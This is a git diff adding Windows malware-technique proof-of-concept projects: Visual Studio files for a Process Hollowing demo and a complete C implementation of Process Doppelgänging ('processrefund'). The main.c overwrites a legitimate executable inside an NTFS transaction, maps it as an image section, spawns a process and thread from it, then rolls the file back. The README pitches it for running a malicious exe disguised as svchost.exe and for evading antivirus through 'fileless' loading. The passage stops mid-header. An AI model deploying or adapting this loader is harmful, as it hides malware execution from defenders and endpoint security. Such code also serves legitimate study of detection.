a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcproj b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcproj new file mode 100644 index 00000000..7bedbce2 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcproj @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj new file mode 100644 index 00000000..0b49a2f3 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj @@ -0,0 +1,109 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD} + ProcessHollowing + Win32Proj + + + + Application + Unicode + true + + + Application + Unicode + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + AllRules.ruleset + + + AllRules.ruleset + + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + Use + Level3 + EditAndContinue + + + true + Console + MachineX86 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreadedDLL + true + Use + Level3 + ProgramDatabase + + + true + Console + true + true + MachineX86 + + + + + + + Create + Create + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj.filters b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj.filters new file mode 100644 index 00000000..0709ce46 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.vcxproj.filters @@ -0,0 +1,45 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/internals.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/internals.h new file mode 100644 index 00000000..29d512cb --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/internals.h @@ -0,0 +1,27 @@ +struct PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + DWORD PebBaseAddress; + PVOID Reserved2[2]; + DWORD UniqueProcessId; + PVOID Reserved3; +}; + +typedef NTSTATUS (WINAPI* _NtUnmapViewOfSection)( + HANDLE ProcessHandle, + PVOID BaseAddress + ); + +typedef NTSTATUS (WINAPI* _NtQueryInformationProcess)( + HANDLE ProcessHandle, + DWORD ProcessInformationClass, + PVOID ProcessInformation, + DWORD ProcessInformationLength, + PDWORD ReturnLength + ); + +typedef NTSTATUS (WINAPI* _NtQuerySystemInformation)( + DWORD SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.cpp b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.cpp new file mode 100644 index 00000000..e2d6a5d7 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// ProcessHollowing.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.h new file mode 100644 index 00000000..b005a839 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/targetver.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/targetver.h new file mode 100644 index 00000000..6fe8eb79 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/targetver.h @@ -0,0 +1,13 @@ +#pragma once + +// The following macros define the minimum required platform. The minimum required platform +// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run +// your application. The macros work by enabling all features available on platform versions up to and +// including the version specified. + +// Modify the following defines if you have to target a platform prior to the ones specified below. +// Refer to MSDN for the latest info on corresponding values for different platforms. +#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. +#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. +#endif + diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/.gitignore b/Win32/Proof of Concepts/ProcessDoppelgänging/.gitignore new file mode 100644 index 00000000..51ab9f34 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/.gitignore @@ -0,0 +1,219 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +processrefund\.VC\.VC\.opendb diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/LICENSE.md b/Win32/Proof of Concepts/ProcessDoppelgänging/LICENSE.md new file mode 100644 index 00000000..fcabca7b --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/LICENSE.md @@ -0,0 +1,28 @@ + +Copyright (c) 2017, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of [project] nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj new file mode 100644 index 00000000..640f25f0 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj @@ -0,0 +1,121 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {81FCF866-89C7-466B-A52B-3A41A45BC9E0} + MalExe + 8.1 + + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + MultiThreadedDebug + false + + + + + Level3 + Disabled + true + MultiThreadedDebug + + + + + Level3 + MaxSpeed + true + true + true + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + + + true + true + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj.filters b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj.filters new file mode 100644 index 00000000..6827613a --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/MalExe.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/main.c b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/main.c new file mode 100644 index 00000000..933e67e3 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/MalExe/main.c @@ -0,0 +1,8 @@ +#include +#include + +int main(void) +{ + //__asm int 3; + MessageBox(0, "Message body", "Message title", MB_OK); +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/README.md b/Win32/Proof of Concepts/ProcessDoppelgänging/README.md new file mode 100644 index 00000000..aeb7e0f0 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/README.md @@ -0,0 +1,28 @@ +# Process Refund + +An attempt to implement Process Doppelgänging +## Getting Started + +Just clone the repo and open the .sln with Visual Studio 2015. + +### Prerequisites + +Currently this works only in x64. +To use you need a dummy exe like svchost.exe and your malicous exe. +read below - you need to be able to write over the file. + +WARNING DONT USE ON WIN10 YOU WILL GET A BSOD. + +exmaple: + + processrefund.exe svchost.exe MalExe.exe + ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/example.png) + ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/modules.png) + ![alt text](https://raw.githubusercontent.com/spajed/processrefund/master/memory.png) + +### Problems with Process Doppelgänging +* You can not replace any file. If you try to replace C:\windows\system32\svchost.exe you will get "Access Denied". +* This techinque will not bypass all AntiViruses because of the use of NtCreateThreadEx, which is equal to CreateRemoteThread. + An AntiVirus may monitor the creation of remote thread (via PsSetCreateThreadNotifyRoutine) thus detecting our Doppelgänging. Also an AntiVirus may compare the memory with the image of the created process and will be aware of our malicous process. This techinque may be good to avoid file signatures and loading executables without wiritng them to disk("filesless") but it will not avoid everything. +## Acknowledgments +* https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/example.png b/Win32/Proof of Concepts/ProcessDoppelgänging/example.png new file mode 100644 index 00000000..02a35e8a Binary files /dev/null and b/Win32/Proof of Concepts/ProcessDoppelgänging/example.png differ diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/memory.png b/Win32/Proof of Concepts/ProcessDoppelgänging/memory.png new file mode 100644 index 00000000..ee896917 Binary files /dev/null and b/Win32/Proof of Concepts/ProcessDoppelgänging/memory.png differ diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/modules.png b/Win32/Proof of Concepts/ProcessDoppelgänging/modules.png new file mode 100644 index 00000000..a6276daf Binary files /dev/null and b/Win32/Proof of Concepts/ProcessDoppelgänging/modules.png differ diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund.sln b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund.sln new file mode 100644 index 00000000..fff58868 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund.sln @@ -0,0 +1,38 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "processrefund", "processrefund\processrefund.vcxproj", "{DA9D5E53-6160-4B44-A770-903C8C4C621D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MalExe", "MalExe\MalExe.vcxproj", "{81FCF866-89C7-466B-A52B-3A41A45BC9E0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x64.ActiveCfg = Debug|x64 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x64.Build.0 = Debug|x64 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x86.ActiveCfg = Debug|Win32 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Debug|x86.Build.0 = Debug|Win32 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x64.ActiveCfg = Release|x64 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x64.Build.0 = Release|x64 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x86.ActiveCfg = Release|Win32 + {DA9D5E53-6160-4B44-A770-903C8C4C621D}.Release|x86.Build.0 = Release|Win32 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x64.ActiveCfg = Debug|x64 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x64.Build.0 = Debug|x64 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x86.ActiveCfg = Debug|Win32 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Debug|x86.Build.0 = Debug|Win32 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x64.ActiveCfg = Release|x64 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x64.Build.0 = Release|x64 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x86.ActiveCfg = Release|Win32 + {81FCF866-89C7-466B-A52B-3A41A45BC9E0}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/main.c b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/main.c new file mode 100644 index 00000000..b90c47ed --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/main.c @@ -0,0 +1,344 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "ntdefs.h" + +// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS +#pragma comment(lib, "psapi.lib") + + +void +DisplayErrorText( + DWORD dwLastError +) +{ + HMODULE hModule = NULL; // default to system source + LPSTR MessageBuffer; + DWORD dwBufferLength; + + DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_IGNORE_INSERTS | + FORMAT_MESSAGE_FROM_SYSTEM; + + // + // If dwLastError is in the network range, + // load the message source. + // + + if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) { + hModule = LoadLibraryEx( + TEXT("netmsg.dll"), + NULL, + LOAD_LIBRARY_AS_DATAFILE + ); + + if (hModule != NULL) + dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE; + } + + // + // Call FormatMessage() to allow for message + // text to be acquired from the system + // or from the supplied module handle. + // + + if (dwBufferLength = FormatMessageA( + dwFormatFlags, + hModule, // module to get message from (NULL == system) + dwLastError, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language + (LPSTR)&MessageBuffer, + 0, + NULL + )) + { + DWORD dwBytesWritten; + + // + // Output message string on stderr. + // + WriteFile( + GetStdHandle(STD_ERROR_HANDLE), + MessageBuffer, + dwBufferLength, + &dwBytesWritten, + NULL + ); + + // + // Free the buffer allocated by the system. + // + LocalFree(MessageBuffer); + } + + // + // If we loaded a message source, unload it. + // + if (hModule != NULL) + FreeLibrary(hModule); +} + +LPVOID GetBaseAddressByName(HANDLE hProcess, char *module) +{ + MEMORY_BASIC_INFORMATION mbi; + SYSTEM_INFO si; + LPVOID lpMem; + char moduleName[MAX_PATH] = { 0 }; + /* Get maximum address range from system info */ + GetSystemInfo(&si); + /* walk process addresses */ + lpMem = 0; + while (lpMem < si.lpMaximumApplicationAddress) { + VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); + GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH); + + if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE) + return mbi.BaseAddress; + /* increment lpMem to next region of memory */ + lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize); + + } + return NULL; +} + +int main(int argc,char *argv[] ) +{ + + LARGE_INTEGER liFileSize; + DWORD dwFileSize; + HANDLE hSection; + NTSTATUS ret; + + UNICODE_STRING string; + if (argc < 3) { + printf("%s ",argv[0]); + return 0; + } + HMODULE hNtdll = GetModuleHandle("ntdll.dll"); + if (NULL==hNtdll) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll); + NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); + + if (NULL == createSection) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got NtCreateSection at 0x%08p\n", createSection); + WCHAR temp[MAX_PATH] = { 0 }; + char fileFullPath[MAX_PATH] = { 0 }; + + GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL); + MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH); + HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp); + if (INVALID_HANDLE_VALUE == hTransaction) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Created a transaction, handle 0x%x\n", hTransaction); + + HANDLE hTransactedFile = CreateFileTransacted(fileFullPath, + GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); + if (INVALID_HANDLE_VALUE == hTransactedFile) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile); + + HANDLE hExe = CreateFile(argv[2], + GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (INVALID_HANDLE_VALUE == hExe) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] opened malexe.exe, handle 0x%x\n", hExe); + + BOOL err = GetFileSizeEx(hExe, &liFileSize); + if (FALSE == err) + { + DisplayErrorText(GetLastError()); + return -1; + } + dwFileSize = liFileSize.LowPart; + printf("[+] malexe size is 0x%x\n", dwFileSize); + + BYTE *buffer = malloc(dwFileSize); + if (NULL == buffer) + { + printf("Malloc failed\n"); + return -1; + } + printf("[+] allocated 0x%x bytes\n", dwFileSize); + DWORD read = 0; + if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] read malexe.exe to buffer\n"); + + DWORD wrote = 0; + if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL)) + + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] over wrote %s in transcation\n", fileFullPath); + + ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); + if(FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] created a section with our new malicious %s\n", fileFullPath); + + + + NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx"); + if (NULL == createProcessEx) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx); + + HANDLE hProcess=0; + my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); + + initUnicodeString(&string, temp); + + ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); + + printf("[+] Created our process, handle 0x%x\n", hProcess); + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + + PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer; + + PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew); + + ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint; + + oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]); + + + printf("[+] our new process oep is 0x%llx\n", oep); + NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx"); + if (NULL == createThreadEx) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx); + + + my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0; + RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx"); + if (NULL == createProcessParametersEx) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx); + + + + + ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED); + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] creating Process Parameters at 0x%p\n", ProcessParams); + + LPVOID RemoteProcessParams; + RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); + if(NULL == RemoteProcessParams) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams); + + ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL); + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] writing our paramters to the process\n"); + + my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"); + if (NULL == queryInformationProcess) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess); + + PROCESS_BASIC_INFORMATION info; + + ret = queryInformationProcess( + hProcess, + ProcessBasicInformation, + &info, + sizeof(info), + 0); + + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + + PEB *peb = info.PebBaseAddress; + + ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL); + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] writing our paramters to the process peb 0x%08p\n", peb); + + HANDLE hThread; + ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL); + printf("[+] Thread created with handle %x\n", hThread); + if (FALSE == NT_SUCCESS(ret)) + { + DisplayErrorText(GetLastError()); + return -1; + } + if (FALSE == RollbackTransaction(hTransaction)) + { + DisplayErrorText(GetLastError()); + return -1; + } + printf("[+] rolling back the original %s\n", fileFullPath); + + CloseHandle(hProcess); + CloseHandle(hExe); + CloseHandle(hTransactedFile); + CloseHandle(hTransaction); + + getchar(); + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/ntdefs.h b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/ntdefs.h new file mode 100644 index 00000000..20b69e65 --- /dev/null +++ b/Win32/Proof of Concepts/ProcessDoppelgänging/processrefund/ntdefs.h @@ -0,0 +1,339 @@ +#pragma once +#include +#include +#include +#include + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 + +typedef struct _UNICODE_STRING_DWORD64 +{ + WORD Length; + WORD MaximumLength; + DWORD64 Buffer; +} UNICODE_STRING64, STRING64, *PSTRING64; + +struct _LIST_ENTRY_DWORD64 +{ + DWORD64 Flink; + DWORD64 Blink; +}; + +typedef struct _CURDIR_64 +{ + UNICODE_STRING64 DosPath; + UINT64 Handle; +} CURDIR64, *PCURDIR64; +typedef struct _RTL_DRIVE_LETTER_CURDIR_64 +{ + WORD 